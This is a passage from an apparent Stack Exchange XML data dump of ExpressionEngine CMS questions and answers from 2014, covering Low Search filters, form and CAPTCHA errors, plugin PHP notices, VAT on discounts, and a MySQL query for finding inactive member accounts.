type&quot;&amp;gt;&#xA;            &amp;lt;button type=&quot;button&quot; class=&quot;btn btn-default btn-xs&quot;&amp;gt;&#xA;                &amp;lt;strong&amp;gt;Type:&amp;lt;/strong&amp;gt; {exp:low_search:param get=&quot;tag_name:group2&quot; query=&quot;{segment_3}&quot;}&amp;amp;nbsp;                   &#xA;                {!--&amp;lt;span class=&quot;glyphicon glyphicon-remove&quot;&amp;gt;&amp;lt;/span&amp;gt;--}&#xA;            &amp;lt;/button&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;    {if '{exp:low_search:param get=&quot;tag_name:group4&quot; query=&quot;{segment_3}&quot; shortcut=&quot;{segment_3}&quot;}' != ''}&#xA;        &amp;lt;div data-member-id=&quot;1&quot; class=&quot;search-parameter pop-group&quot;&amp;gt;&#xA;            &amp;lt;button type=&quot;button&quot; class=&quot;btn btn-default btn-xs&quot;&amp;gt;&#xA;                &amp;lt;strong&amp;gt;Population Group:&amp;lt;/strong&amp;gt; {exp:low_search:param get=&quot;tag_name:group4&quot; query=&quot;{segment_3}&quot;}&amp;amp;nbsp;                   &#xA;                {!--&amp;lt;span class=&quot;glyphicon glyphicon-remove&quot;&amp;gt;&amp;lt;/span&amp;gt;--}&#xA;            &amp;lt;/button&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- /#active-search-filters-container --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1527" LastEditorUserId="1527" LastEditDate="2014-09-24T16:30:46.150" LastActivityDate="2014-09-24T16:30:46.150" Title="Low Search shortcut not setting default values in form or param" Tags="|low-search|low|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25839" PostTypeId="1" AcceptedAnswerId="25842" CreationDate="2014-09-24T08:19:20.493" Score="0" ViewCount="648" Body="&lt;p&gt;I am a new user of Expression Engine and the version I am using is 2.5.2 and whenever I try filling the contact us form unto submission, I have the following error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rTGfE.png&quot; alt=&quot;Error after Form Submission&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindly note that CAPTCHA is not enabled and I dont know what else might be the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another issue is that, the CAPTCHA Image is not coming up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While trying to save a change made under the CAPTCHA preferences, I got the error message below;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Bz5v5.png&quot; alt=&quot;CAPTHA ERROR&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3610" LastEditorUserId="3610" LastEditDate="2014-09-24T09:37:59.060" LastActivityDate="2016-11-19T05:58:47.883" Title="The form you submitted contained the following errors" Tags="|solspace-freeform|forms|captcha|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25840" PostTypeId="2" ParentId="25838" CreationDate="2014-09-24T08:38:34.417" Score="1" Body="&lt;p&gt;You need to include the parameter shortcut=&quot;[shortcut name]&quot; in your {exp:low_search:results} tag. The value can be taken from your url segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the url was www.mysite.com/search/bacon and you had a shortcut set up for &quot;bacon&quot; then your search results tag would be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results shortcut=&quot;{segment_2}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can combine this with the regular query parameter. A site I am currently working on has this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results &#xA;    query=&quot;{segment_2}&quot;&#xA;    channel=&quot;products&quot; &#xA;    limit=&quot;18&quot; &#xA;    paginate=&quot;bottom&quot; &#xA;    dynamic=&quot;no&quot; &#xA;    orderby=&quot;title&quot; &#xA;    sort=&quot;asc&quot; &#xA;    status=&quot;not closed&quot; &#xA;    cache=&quot;yes&quot; &#xA;    refresh=&quot;120&quot; &#xA;    disable=&quot;member_data&quot; &#xA;    require_all=&quot;category&quot; &#xA;    shortcut=&quot;{segment_2}&quot;&#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which might be overkill, but works a treat!&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-24T08:38:34.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25841" PostTypeId="2" ParentId="25826" CreationDate="2014-09-24T09:31:17.803" Score="1" Body="&lt;p&gt;You say you don't want to do this with a plugin but the fact is that it's the best way to do it. Not least because you can avoid the problem you have with Parse order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin needs a single line of PHP In the constructor, and returns a number;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct() {&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;&#xA;    return strlen($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can quickly get the framework for your own plugin from &lt;a href=&quot;http://pkg.io&quot; rel=&quot;nofollow&quot;&gt;http://pkg.io&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can use it like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:stringlength}{my-custom-field}{/exp:stringlength}&quot; &amp;gt; 200}&#xA;    More than 200 characters&#xA;{if:else}&#xA;    Less than 200 characters&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because you are effectively outputting the field contents to your template and &lt;strong&gt;then&lt;/strong&gt; getting its length you avoid the problem of characters prematurely terminating the comparison.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** Update **&#xA;In a quiet moment I wrote a quick and dirty plugin to provide a wrapper around PHP's strlen() function which might prove useful in this case.&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/stringlength&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/stringlength&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-09-30T08:37:29.017" LastActivityDate="2014-09-30T08:37:29.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25842" PostTypeId="2" ParentId="25839" CreationDate="2014-09-24T09:35:24.440" Score="1" Body="&lt;p&gt;If CAPTCHA is enabled and the image isn't showing then it could be a couple of things.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Your CAPTCHA directory isn't writeable so EE can't create the image.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You don't have the CAPTCHA code in your form.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Since you are getting the error message I would guess that it's option 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, &lt;strong&gt;please post your template code&lt;/strong&gt; otherwise it's all guesswork on our part.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-24T09:35:24.440" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25843" PostTypeId="1" CreationDate="2014-09-24T10:43:34.857" Score="1" ViewCount="83" Body="&lt;p&gt;I am having a CSV file and i am using Datagrab module to importing CSV for a channel (eg: XYZ) . It works fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also i am using Structure and blueprints module in my project. &#xA;After successful CSV import, when i access the channel (named as eg: XYZ), it is showing that entries BUT when i edit a entry then i am getting following errors :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered &#xA;Severity: Notice &#xA;Message: Undefined index: 4318 &#xA;Filename: blueprints/ext.blueprints.php &#xA;Line Number: 174&#xA;&#xA;A PHP Error was encountered &#xA;Severity: Notice &#xA;Message: Undefined index: 4318 &#xA;Filename: structure/tab.structure.php &#xA;Line Number: 164&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i remove the errors? &lt;/p&gt;&#xA;" OwnerUserId="3376" LastActivityDate="2016-06-10T21:04:30.080" Title="Using Datagrab module with Structure and blueprints, it is throwing error on edit channel entry" Tags="|channel-entries|structure|datagrab|csv|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25844" PostTypeId="1" AcceptedAnswerId="25847" CreationDate="2014-09-24T10:46:01.457" Score="0" ViewCount="92" Body="&lt;p&gt;We have a channel with categories that we are filtering on using Low Search, some of the category groups in which assignments are made for an entry are exclusive, i.e. the entry can only ever belong to one category in that group (Country for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need to let users toggle categories on and off to filter results (Show me all mills in 'England' which are 'Water' mills) but we do not want to allow a user to apply multiples in certain categories (Show me all mills in 'England AND Scotland' which are 'Water' mills).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:filters query=&quot;{segment_3}&quot;}&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;Countries&#xA;            {exp:gwcode_categories&#xA;                id=&quot;FilterCountries&quot;&#xA;                group_id=&quot;9&quot;&#xA;                show_empty=&quot;no&quot;&#xA;                orderby=&quot;cat_name&quot;&#xA;                parse=&quot;inward&quot;&#xA;                style=&quot;nested&quot;&#xA;                }&#xA;                &amp;lt;li {if cat_id IN ({low_search_category})}class=&quot;current_filter&quot;{/if}&amp;gt;&#xA;                    &amp;lt;a href=&quot;{low_search:url result_page='/results' toggle:category='{cat_id}'}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;            {/exp:gwcode_categories}&#xA;        &amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We then repeat the list item for each category group we are using, so we have subsequent groups as per the above for 'Power Sources', 'Rivers' and 'Types'. Some of these (Type for example) may have more than one category assignment so we need a solution that allows us to restrict the additive toggle 'per group'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-09-24T11:25:43.867" Title="Restrict Low Search toggles to one selection per group" Tags="|categories|low-search|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25845" PostTypeId="2" ParentId="25844" CreationDate="2014-09-24T11:05:41.893" Score="1" Body="&lt;p&gt;Could you use Javascript/jQuery to disable or remove links within one category group if any of the other categories in that group are selected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did something the other day with jQuery to look within a list of links and open the group if there was a selected filter in that group. I imagine that it would be quite similar to what you want to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each of my filter groups is being output like this (this is group 6):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;products&quot; category_group=&quot;6&quot;}&#xA;    {if count ==  1}&amp;lt;h4 class=&quot;filter closed&quot;&amp;gt;Product type&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;ul class=&quot;filter-set&quot;&amp;gt;{/if}&#xA;        &amp;lt;li{if '{low_search_category}' ~ '/(^|\|)'.category_id.'($|\|)/'} class=&quot;selected&quot;{/if}&amp;gt;&#xA;           &amp;lt;a href=&quot;{low_search:url toggle:category='{category_id}'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    {if count == total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if a particular filter is selected, its parent li gets the class &quot;selected&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've then got some jQuery which does this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.filter-set').find('.selected').parent().slideDown();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This 'opens' the list if there is a selected item within it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to get the other filters in a list we could do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.filter-set').find('.selected').siblings('li');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, to get rid of the links is a bit more tricky. I think you'd need a function that took the link text, removed the link node and then wrote the link text back in. Of course, you'd need to do the reverse when the selected filter was deselected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There must be a simpler way of doing that bit though...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about (not tested)...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.filter-set').find('.selected').siblings('li').find('a').removeAttr('href');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-24T11:05:41.893" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25846" PostTypeId="1" CreationDate="2014-09-24T11:10:29.173" Score="0" ViewCount="65" Body="&lt;p&gt;When using this plugin &lt;a href=&quot;http://devot-ee.com/add-ons/basee64&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/basee64&lt;/a&gt; inside a Solspace Friends Message Template I get PHP errors&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;&#xA;Message: Undefined property: EE::$TMPL&#xA;&#xA;Filename: basee64/pi.basee64.php&#xA;&#xA;Line Number: 36&#xA;&#xA;and&#xA;&#xA;---&#xA;Message: Trying to get property of non-object&#xA;&#xA;Filename: basee64/pi.basee64.php&#xA;---&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I try to do is to encode the username in the message. So, when clicking the link, the encoded username must be decoded in the redirect/return/ template.&#xA;(The plugin works OK in this Template on its own)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The message IS send allright, but the plugin fails. Probably a parse order? I hope someone reacts with an idea how to make this work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code in my Solspace friends Message Template where I create the encoded return URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{path=&quot;redirect/return/&quot;}/{friends_message_id}/{exp:basee64:encode parse=&quot;inward&quot;}{friends_recipient_username}{/exp:basee64:encode}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2016-06-06T18:59:22.217" Title="using encoding plugin in message template Solspace friends throws error, hope for a solution" Tags="|solspace|solspace-friends|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25847" PostTypeId="2" ParentId="25844" CreationDate="2014-09-24T11:25:43.867" Score="2" Body="&lt;p&gt;First of all, instead of using a single &lt;code&gt;category&lt;/code&gt; parameter for all groups, try giving each group its own parameter using &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#categories&quot; rel=&quot;nofollow&quot;&gt;Category Groups&lt;/a&gt;. So, for example, use &lt;code&gt;category:sources&lt;/code&gt;, &lt;code&gt;category:rivers&lt;/code&gt; and &lt;code&gt;category:types&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each group parameter like that will be combined with AND, as per usual with parameters. But for each group, you can choose to either have &lt;em&gt;any&lt;/em&gt; or &lt;em&gt;all&lt;/em&gt; categories match, by using &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#inclusive-values&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;require_all&lt;/code&gt; parameter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, per group and using the URL tag, you can choose to either set the entire value, or toggle a value. Toggling a param value will look at the parameter, if the given value is not present, LS will add it, and vice versa. But &lt;em&gt;not&lt;/em&gt; using &lt;code&gt;toggle:&lt;/code&gt; will set the entire param to the given value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming you're using multiple gwcode_categories tags to output the different groups. As an example, using native tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:filters query=&quot;{segment_2}&quot; result_page=&quot;search&quot;}&#xA;&#xA;    {!-- Allows you to select multiple categories in this group --}&#xA;    {exp:channel:categories category_group=&quot;1&quot;}&#xA;        &amp;lt;a href=&quot;{low_search:url toggle:category:group1=&quot;{category_id}&quot;}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;    {/exp:channel:categories}&#xA;&#xA;    {!-- Will only select a single category in this group --}&#xA;    {exp:channel:categories category_group=&quot;2&quot;}&#xA;        &amp;lt;a href=&quot;{low_search:url category:group2=&quot;{category_id}&quot;}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;    {/exp:channel:categories}&#xA;&#xA;{/exp:low_search:filters}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-09-24T11:25:43.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25848" PostTypeId="1" AcceptedAnswerId="25919" CreationDate="2014-09-24T11:31:32.213" Score="0" ViewCount="79" Body="&lt;p&gt;I'm having issues with the password confirmation in Zoo Visitor Registration.&#xA;If I enter two separate passwords for the password and password_confirm fields then the user is still registered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts why this might be happening or how to fix?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code sample at &lt;a href=&quot;https://gist.github.com/cole007/5d68d989545cb5cfc45a&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/cole007/5d68d989545cb5cfc45a&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cole&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2014-09-27T07:36:07.250" Title="ZooVisitor Registration issue (password confirmation)" Tags="|zoo-visitor|password|register|zoo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25849" PostTypeId="2" ParentId="25848" CreationDate="2014-09-24T12:08:34.960" Score="0" Body="&lt;p&gt;on your code sample you're using a conditional for the password and password_confirm value attribute.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if password}value=&quot;{password}&quot;{/if}&#xA;{if password_confirm} value=&quot;{password_confirm}&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The value attribute should be empty.&lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2014-09-24T12:08:34.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25850" PostTypeId="2" ParentId="25742" CreationDate="2014-09-24T12:26:10.200" Score="1" Body="&lt;p&gt;We are using a method where any changes we make to the dev database are logged to a file, and then we can just run those same sql queries against the production database to update it. Here's a plugin that offers to do the logging for you, though I can't personally vouch for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/fccotech/ee-db-trace&quot; rel=&quot;nofollow&quot;&gt;https://github.com/fccotech/ee-db-trace&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2339" LastActivityDate="2014-09-24T12:26:10.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25851" PostTypeId="1" CreationDate="2014-09-24T13:14:06.650" Score="0" ViewCount="43" Body="&lt;p&gt;I've just installed Channel Polls to test, but find that the answers do not display in the poll. Radio buttons are visible but not the label. when submitting a form this error message displays: No Answer form field found!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set up a clean local install of EE to test, using the same version as the client site: 2.7.3. And used the following template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:channel:entries channel=&quot;poll&quot;}&#xA;            {exp:channel_polls:new_vote entry_id=&quot;1&quot;}&#xA;            &amp;lt;ul&amp;gt;&#xA;            {poll:answers}&#xA;            &amp;lt;li&amp;gt;&amp;lt;input type=&quot;radio&quot; name=&quot;{poll:form_name}&quot; value=&quot;{poll:form_value}&quot;&amp;gt;   {poll:answer}&amp;lt;/li&amp;gt;&#xA;            {/poll:answers}&#xA;            &amp;lt;/ul&amp;gt;&#xA;            {if poll:closed}&amp;lt;h4&amp;gt;POLL CLOSED&amp;lt;/h4&amp;gt;{/if}&#xA;            {if poll:no_access}&amp;lt;h4&amp;gt;YOU HAVE NO ACCESS&amp;lt;/h4&amp;gt;{/if}&#xA;            {if poll:already_voted}&amp;lt;h4&amp;gt;ALREADY VOTED&amp;lt;/h4&amp;gt;{/if}&#xA;            {if poll:not_voted}&amp;lt;h4&amp;gt;NOT VOTED YET&amp;lt;/h4&amp;gt;{/if}&#xA;            &amp;lt;input name=&quot;submit&quot; value=&quot;VOTE&quot; type=&quot;submit&quot;&amp;gt;&#xA;            {/exp:channel_polls:new_vote}&#xA;            {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CP is version 2.7.5a. Thanks again!&lt;/p&gt;&#xA;" OwnerUserId="2024" LastEditorUserId="2024" LastEditDate="2014-09-25T08:51:53.667" LastActivityDate="2015-12-10T10:40:20.120" Title="Channel Polls not showing answer" Tags="|channel-polls|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25852" PostTypeId="2" ParentId="25843" CreationDate="2014-09-24T14:32:03.060" Score="0" Body="&lt;p&gt;Make sure you're running the latest version of Structure and EE, otherwise you'll need to test adding entires without datagrab and see if that's the issue. If they stay, please start a Structure support ticket.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2014-09-24T14:32:03.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25853" PostTypeId="1" CreationDate="2014-09-24T14:35:19.177" Score="0" ViewCount="57" Body="&lt;p&gt;Using DevDemon forms. Have used before on other sites. When click submit, its stripping out the : from the http:// on the redirect.&#xA;Any ideas where this is stored as it seems to be taking a default value from somewhere. Have tried to override with return=&quot;/contact/thanks&quot; but not recognising this.&#xA;Thanks in advance.&#xA;Steve&lt;/p&gt;&#xA;" OwnerUserId="3612" LastActivityDate="2015-04-23T05:07:29.890" Title="DevDemon Forms - On form submit, URL is stripping out the : from the http://" Tags="|devdemon|devdemon-forms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25854" PostTypeId="1" CreationDate="2014-09-24T15:04:22.407" Score="0" ViewCount="101" Body="&lt;p&gt;I have had a long discussion with Chris at CT regarding VAT calculations on discounted orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my example I have a product = £15 @ 20% VAT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;£12.5 * 1.2 = £15 (£2.50 VAT included).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to give a £4 discount. As VAT is calculated on the discounted sale price my thinking is that the taxable total would be £15 - £4 = £11. VAT would therefore be £1.83.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chris believes this is wrong and it can only be one of these two scenarios:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;(12.5 - 4) * 1.2&#xA;That makes a total of 10.2. VAT of 1.70&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(12.5 * 1.2) - 4&#xA;That makes a total of 11. VAT of 2.5&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think neither of those scenarios give the correct VAT amount although the equations do balance out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In CT it is not clear whether the value you put in as the discount amount includes or excludes VAT and I think the percentage amount only appears to apply to the tax inc price but not the taxed amount itself? Having done a bit of research I think the calculations should be more along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) If the discount is a percentage, the percentage is applied to each component.&#xA;So a 50% discount would be: £7.50 of which £1.25 is VAT = £12.50 (base) + £2.50 (vat) - £6.25 (base) - £1.25 (vat).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If the discount is a flat amount, it needs to have the VAT component reverse-calculated&#xA;A £4 discount would be: £11 of which £1.83 is VAT = £12.50 (base) + £2.50 (vat) - (£3.33 (base) + £0.67 (vat)).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where this gets more complicated are sales which include vattable and non vattable products (such as books) and whether the discount applies to an individual line item or the cart total as a whole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else had issues with VAT on discounts in CT and worked out a solution.. or is my logic completely wrong!!&lt;/p&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2016-05-18T08:13:57.477" Title="VAT on discounts" Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25855" PostTypeId="2" ParentId="25459" CreationDate="2014-09-24T16:10:51.110" Score="1" Body="&lt;p&gt;I had the exact same problem.&#xA;And I might have the solution for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{suggested_products}&#xA;    {suggested_products:product_images parse=&quot;inward&quot;}&#xA;        {url}&#xA;    {/suggested_products:product_images}&#xA;{/suggested_products}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2014-09-24T16:10:51.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25857" PostTypeId="1" CreationDate="2014-09-24T17:05:42.817" Score="0" ViewCount="24" Body="&lt;p&gt;Need help with creating a MySQL query to create a list of users that have not logged into the site within the past 6 months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Needs to contain Username, Email address and last login date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will use the list to send email regarding upcoming site purge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can use the CP and see them, but need to export to a XLS or CSV file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2014-09-24T19:21:06.470" Title="MySQL Script to identify old accounts" Tags="|mysql|users|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25861" PostTypeId="2" ParentId="25857" CreationDate="2014-09-24T19:21:06.470" Score="1" Body="&lt;p&gt;Using 60 seconds × 60 minutes × 24 hours × 30 days × 6 months:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT username, email, last_visit&#xA;FROM exp_members&#xA;WHERE (UNIX_TIMESTAMP(NOW()) - last_visit) &amp;gt; (60*60*24*30*6)&#xA;ORDER BY username&#xA;LIMIT 2000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using 600000000 as MDDHHMMSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT username, email, last_visit&#xA;FROM exp_members&#xA;WHERE ((NOW() + 0) - (FROM_UNIXTIME(last_visit) + 0)) &amp;gt; 600000000&#xA;ORDER BY username&#xA;LIMIT 2000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used &lt;code&gt;NOW() + 0&lt;/code&gt; to convert dates like &lt;code&gt;2007-12-15 23:50:26&lt;/code&gt; to &lt;code&gt;20071215235026.000000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It possible to have little differences on the results of both queries, due to its precision, but it shouldn't be a problem if you want to run them more than one time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you customized the table prefix, you gonna need to adapt the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use this query to create a template which lists this users.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-09-24T19:21:06.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25862" PostTypeId="1" CreationDate="2014-09-24T19:43:05.480" Score="0" ViewCount="16" Body="&lt;p&gt;I have an ExpressionEngine website that has a bug in a JavaScript file that prevents text from being updated.  The bug manifests as text quickly erasing before it can be edited.  I discovered that I can disable JavaScript in my browser for page edits.  However, you can't do this permanently, as the CMS relies on JavaScript to function.  Would upgrading the CMS solve the issue?&lt;/p&gt;&#xA;" OwnerUserId="3616" LastActivityDate="2014-09-24T19:43:05.480" Title="Would upgrading the CMS solve the issue of JavaScript bug that prevents editing text?" Tags="|javascript|bug|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
